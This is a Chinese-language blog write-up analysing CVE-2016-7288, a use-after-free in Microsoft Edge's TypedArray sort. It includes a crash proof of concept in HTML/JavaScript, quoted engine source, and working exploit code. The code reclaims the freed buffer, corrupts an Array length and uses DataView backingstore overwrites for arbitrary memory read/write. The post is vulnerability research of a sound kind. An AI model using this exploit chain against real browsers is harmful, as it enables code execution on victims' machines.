CVE-2016-7288 漏洞分析

漏洞概述

該漏洞是一個(gè)驗(yàn)證不嚴(yán)格導(dǎo)致的 UAF 漏洞,漏洞樣本和原因在 P0 網(wǎng)站上都能找到 Issue 983

漏洞樣本

P0 提供的樣本并不能保證漏洞的穩(wěn)定觸發(fā)轨奄,這里根據(jù) http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html 文章的內(nèi)容對(duì)樣本進(jìn)行了修改嘱丢,使其可以穩(wěn)定崩潰

<html><body><script>

var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);

function v(){
    
        the_worker = new Worker('the_worker.js');
        the_worker.onmessage = function(evt) {
            console.log("worker.onmessage: " + evt.toString());
        }
        //Neuter the ArrayBuffer
        the_worker.postMessage(buf, [buf]);
        //Force the underlying raw buffer to be freed before returning!
        the_worker.terminate();
        the_worker = null;

        var start = Date.now();
        while (Date.now() - start < 2000){
        }


    
    return 0;
}

function compareNumbers(a, b) {

  return {valueOf : v};
}

try{
    numbers.sort(compareNumbers);
}catch(e){

    alert(e.message);

}


</script></body></html>

漏洞環(huán)境

這里使用的漏洞環(huán)境是 Win 10 x64 ,Edge 版本為 11.0.14393.0

漏洞環(huán)境

漏洞分析

該漏洞產(chǎn)生的原因是由于如下代碼判斷不完善

template<typename T> int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)
{
  //......
            Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }
   //......
}

函數(shù)在調(diào)用 CALL_FUNCTION 之后,為了防止在 js 中對(duì) TypedArray 進(jìn)行直接操作坦辟,函數(shù)立刻進(jìn)行了驗(yàn)證,若在 js 中 TypedArray 被釋放則拋出異常章办;但是隨后的函數(shù) ToNumber_Full 語(yǔ)句會(huì)調(diào)用 ValueOf 方法將 CALL_FUNCTION 的返回值轉(zhuǎn)化為 Number锉走,這里又會(huì)進(jìn)入 js 層的調(diào)用滨彻,而其后卻沒(méi)有驗(yàn)證,從而可能導(dǎo)致崩潰挠日。如樣本所示在 ValueOf 函數(shù)中將 TypedArray 釋放疮绷,再次訪問(wèn) TypedArray 時(shí)就會(huì)觸發(fā)漏洞。

漏洞利用

內(nèi)存占位

該漏洞是一個(gè) UAF 漏洞嚣潜,漏洞觸發(fā)點(diǎn)處于 Array.sort 中對(duì) Array 中數(shù)據(jù)進(jìn)行交換時(shí)冬骚。因此可以考慮使用一個(gè) Array 對(duì)象占位,然而在 Edge 瀏覽器中一般的 Array 對(duì)象的內(nèi)存空間與 ArrayBuffer 的內(nèi)存空間分別處于兩種區(qū)域內(nèi)懂算。Array 的內(nèi)存空間由 Memgc 統(tǒng)一分配和管理只冻,而 ArrayBuffer 的分配函數(shù)如下代碼所示

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}

bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{

#if _WIN64
    /*
    1. length >= 2^16
    2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
    3. length is a multiple of 4K
    */
    return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
        (length >= 0x10000) &&
        (((length & (~length + 1)) == length) ||
        (length >= 0x1000000 &&
        ((length & 0xFFFFFF) == 0)
        )
        ) &&
        ((length % AutoSystemInfo::PageSize) == 0)
        );
#else
    return false;
#endif
}

在64位的系統(tǒng)中,當(dāng)申請(qǐng)的 ArrayBuffer 大小小于 0x10000 時(shí)會(huì)調(diào)用 malloc 完成分配计技,ArrayBuffer 處于 CRT 堆中喜德;當(dāng)申請(qǐng)的 Array 大于 0x10000 且按頁(yè)對(duì)齊時(shí)會(huì)調(diào)用 AllocWrapperVirtualAlloc 分配。

Array 對(duì)象當(dāng)請(qǐng)求的空間大小很大時(shí)垮媒,Memgc也是直接使用 VirtualAlloc 完成分配請(qǐng)求舍悯。因此這里可以考慮使用一個(gè)大小為 0x10000 的 NativeIntArray 對(duì) ArrayBuffer 進(jìn)行占位。如下圖睡雇,占位成功萌衬。

占位前
占位后

獲取越界數(shù)組

再考慮崩潰點(diǎn)為 sort 函數(shù)交換數(shù)據(jù)時(shí)。若能在此時(shí)控制交換兩個(gè)數(shù)據(jù)的位置它抱,便可能可以實(shí)現(xiàn)將 Array 對(duì)象的 Length 與 其內(nèi)容相交換秕豫,從而將 Length 的長(zhǎng)度修改為任意數(shù)值。Sort 函數(shù)在其內(nèi)部使用快速排序?qū)崿F(xiàn)观蓄,其交換方式如圖所示混移,其中樞紐值采用三數(shù)取中法確定,函數(shù)源碼可以參見 qsort

因此只需將 Length 所在位置的值設(shè)置的比樞紐值大侮穿,將某一數(shù)據(jù)部分的值設(shè)置為比樞紐值小歌径,其余位置按正常順序升序排列即可。這里的樞紐值為 ArrayBuffer 0x2000 處的值 0x2000撮珠。Length 所在位置由上圖可知在內(nèi)存塊偏移 0x28 處沮脖,只需將該值設(shè)置為大于 0x2000即可。由此占位并實(shí)現(xiàn)超長(zhǎng)Array 的利用代碼如下

var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);

for(var i=0xa;i<numbers.length;i++)
{
    numbers[i] = i;
}

numbers[0xa] = 0x55555555;
numbers[0x3ffe] = 0x10ad;

function reclaim(){
    var NUMBER_ARRAYS = 5000;
    arr = new Array(NUMBER_ARRAYS);
    for (var i = 0; i < NUMBER_ARRAYS; i++) {
        arr[i] = new Array((0x10000-0x38)/4);
        for (var j = 0; j < arr[i].length; j++) {
            arr[i][j] = 0x41414141;
        }
        
        arr[i][0x3ff0] = 0x7fffffff;
        arr[i][5] = i;
    }
}

function v(){
    
    if(this.a == 0x10ad&& this.b == 0x2000)
    {
        the_worker = new Worker('the_worker.js');
        the_worker.onmessage = function(evt) {
            console.log("worker.onmessage: " + evt.toString());
        }
        //Neuter the ArrayBuffer
        the_worker.postMessage(buf, [buf]);
        //Force the underlying raw buffer to be freed before returning!
        the_worker.terminate();
        the_worker = null;

        var start = Date.now();
        while (Date.now() - start < 2000){
        }
        
        reclaim()
        
        return 0;
    }else{
        return this.a-this.b;
    }
    
    return this.a - this.b;
}

function compareNumbers(a, b) {

  return {valueOf : v,"a":a,"b":b};
}

numbers.sort(compareNumbers);

成功修改 Array 長(zhǎng)度后內(nèi)存情況如下芯急。此時(shí)我們便可以使用這個(gè) Array 進(jìn)行越界訪問(wèn)勺届。


越界數(shù)組

任意地址讀寫

接著我們需要通過(guò)這個(gè)越界的 Array 獲得任意地址讀寫的能力。在 64 位的系統(tǒng)下任意地址讀寫比 32 位系統(tǒng)復(fù)雜一些娶耍。首先免姿,僅使用一個(gè)越界數(shù)組最多只能訪問(wèn) 4G 大小的內(nèi)存空間,通過(guò)其是無(wú)法得到全內(nèi)存讀寫能力的(關(guān)于將長(zhǎng)度設(shè)置為 0xffffffff 的方法可以參考 exp-sky 的演講)榕酒。其次胚膊, 64 位系統(tǒng)下的地址空間非常大故俐,無(wú)法通過(guò)堆噴來(lái)完全覆蓋,且 Edge 在進(jìn)程內(nèi)存使用超過(guò) 4G 時(shí)便會(huì)拋出異常紊婉。

基于以上原因药版,在 64 位下實(shí)現(xiàn)任意地址讀寫功能還需要對(duì)象其他字段的配合。對(duì)于本漏洞利用喻犁,這里的思路是通過(guò)越界的 Array 越界修改 ArrayBuffer 對(duì)象的 backingstore 字段(實(shí)際數(shù)據(jù)指針)槽片,用這種方法使 ArraBuffer 可以訪問(wèn)任意內(nèi)存,從而達(dá)到任意地址讀寫的目的肢础。

首先仍然需要通過(guò)堆布局还栓,在該越界的 Array 內(nèi)存后布局上對(duì)象,這里選用的對(duì)象為 DataView传轰。DataView 也是由 Memgc 負(fù)責(zé)管理剩盒,其實(shí)際的分配位置也是存在于 VirtualAlloc 的空間中,因此當(dāng)分配了大量 DataView 之后慨蛙,總會(huì)有一部分 DataView 落在越界 Array 附近辽聊。其內(nèi)存情況如圖所示

DataView

其中數(shù)據(jù) 0x800 是其所操作的 ArrayBuffer 的長(zhǎng)度,0x16771980000 為ArrayBuffer 對(duì)象的地址期贫,0x1676f88c800 為 backingstore 指針身隐。直接通過(guò)越界 Array 修改 backingstore 便可以通過(guò) DataView 實(shí)現(xiàn)任意地址讀寫。

Array 數(shù)組在操作 0x7fffffff 以上的數(shù)據(jù)時(shí)會(huì)略微麻煩一些唯灵。這里為了便于理解,不直接使用 Array 隙轻,而是再修改一層數(shù)據(jù)埠帕。通過(guò) DataView 修改 ArrayBuffer 來(lái)實(shí)現(xiàn)任意地址讀寫。

DataView 修改后
ArrayBuffer 修改前
ArrayBuffer 修改后

如上圖所示玖绿,這里首先將 DataView 中保存的 backingstore 替換為 ArrayBuffer 指針敛瓷,接著通過(guò) DataView 修改 ArrayBuffer 的實(shí)際 backingstore。

這樣斑匪,我們便實(shí)現(xiàn)了64位系統(tǒng)下的任意地址讀寫呐籽,讀出的部分?jǐn)?shù)據(jù)如圖所示

COOP

COOP 全稱 Counterfeit Object-oriented Programming,是一種較為新型的代碼重用攻擊蚀瘸。其攻擊方式不同于 ROP(Return-oriented Programming)狡蝶,是通過(guò)多次調(diào)用合法函數(shù),并利用合法函數(shù)調(diào)用后殘留的數(shù)據(jù)信息來(lái)達(dá)成攻擊目的贮勃。
由于筆者關(guān)于 COOP 的理解還不是很深入贪惹,因此在這里不做過(guò)多的探討。下面的文章中有實(shí)際攻擊的案例寂嘉,經(jīng)筆者測(cè)試在當(dāng)前漏洞環(huán)境下可行奏瞬。Disarming Control Flow Guard Using Advanced Code Reuse Attacks

更多關(guān)于 COOP 的信息枫绅,可以參見論文 Counterfeit Object-oriented Programming

漏洞小節(jié)

該漏洞是筆者第一次在 x64 環(huán)境下進(jìn)行的漏洞利用,由于水平的限制難免會(huì)有很多疏漏硼端。x64 的漏洞利用真的比 x86 下復(fù)雜太多了~~

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末并淋,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子珍昨,更是在濱河造成了極大的恐慌县耽,老刑警劉巖,帶你破解...
    沈念sama閱讀 207,113評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件曼尊,死亡現(xiàn)場(chǎng)離奇詭異酬诀,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)骆撇,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評(píng)論 2 381
  • 文/潘曉璐 我一進(jìn)店門瞒御,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人神郊,你說(shuō)我怎么就攤上這事肴裙。” “怎么了涌乳?”我有些...
    開封第一講書人閱讀 153,340評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵蜻懦,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我夕晓,道長(zhǎng)宛乃,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,449評(píng)論 1 279
  • 正文 為了忘掉前任蒸辆,我火速辦了婚禮征炼,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘躬贡。我一直安慰自己谆奥,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,445評(píng)論 5 374
  • 文/花漫 我一把揭開白布拂玻。 她就那樣靜靜地躺著酸些,像睡著了一般。 火紅的嫁衣襯著肌膚如雪檐蚜。 梳的紋絲不亂的頭發(fā)上魄懂,一...
    開封第一講書人閱讀 49,166評(píng)論 1 284
  • 那天,我揣著相機(jī)與錄音闯第,去河邊找鬼逢渔。 笑死,一個(gè)胖子當(dāng)著我的面吹牛乡括,可吹牛的內(nèi)容都是我干的肃廓。 我是一名探鬼主播智厌,決...
    沈念sama閱讀 38,442評(píng)論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼盲赊!你這毒婦竟也來(lái)了铣鹏?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,105評(píng)論 0 261
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤哀蘑,失蹤者是張志新(化名)和其女友劉穎诚卸,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體绘迁,經(jīng)...
    沈念sama閱讀 43,601評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡合溺,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,066評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了缀台。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片棠赛。...
    茶點(diǎn)故事閱讀 38,161評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖膛腐,靈堂內(nèi)的尸體忽然破棺而出睛约,到底是詐尸還是另有隱情,我是刑警寧澤哲身,帶...
    沈念sama閱讀 33,792評(píng)論 4 323
  • 正文 年R本政府宣布辩涝,位于F島的核電站,受9級(jí)特大地震影響勘天,放射性物質(zhì)發(fā)生泄漏怔揩。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,351評(píng)論 3 307
  • 文/蒙蒙 一脯丝、第九天 我趴在偏房一處隱蔽的房頂上張望沧踏。 院中可真熱鬧,春花似錦巾钉、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至阱高,卻和暖如春赚导,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背赤惊。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評(píng)論 1 261
  • 我被黑心中介騙來(lái)泰國(guó)打工吼旧, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人未舟。 一個(gè)月前我還...
    沈念sama閱讀 45,618評(píng)論 2 355
  • 正文 我出身青樓圈暗,卻偏偏與公主長(zhǎng)得像掂为,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子员串,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,916評(píng)論 2 344

推薦閱讀更多精彩內(nèi)容

  • 二進(jìn)制數(shù)組(ArrayBuffer對(duì)象勇哗、TypedArray視圖和DataView視圖)是JavaScript操作...
    呼呼哥閱讀 21,269評(píng)論 2 12
  • 漏洞概覽 漏洞是由于 v8 優(yōu)化后的 JIT 代碼沒(méi)有對(duì)全局對(duì)象進(jìn)行類型校驗(yàn)造成的,通過(guò) JIT 代碼操作未校驗(yàn)的...
    o_0xF2B8F2B8閱讀 1,486評(píng)論 8 0
  • 一 背景 JavaScript經(jīng)過(guò)二十來(lái)年年的發(fā)展寸齐,由最初簡(jiǎn)單的交互腳本語(yǔ)言欲诺,發(fā)展到今天的富客戶端交互,后端服務(wù)器...
    Michael_bdb5閱讀 1,233評(píng)論 0 2
  • 早上五點(diǎn)多渺鹦,起床扰法。洗漱完畢,下樓準(zhǔn)備退房毅厚,被告知不用查房塞颁,預(yù)留的二十分鐘時(shí)間只得在沙發(fā)上消磨。 有位老爺爺也來(lái)退房...
    和小忘閱讀 181評(píng)論 0 0
  • 懷過(guò)孕卧斟,當(dāng)過(guò)媽殴边,就像在鬼門關(guān)面前走過(guò)一遭一般,不過(guò)當(dāng)看到寶寶安全出來(lái)珍语,可愛嘟嘟的臉蛋看著的確讓人疼锤岸,孕期的痛都會(huì)...
    C_C___閱讀 297評(píng)論 2 3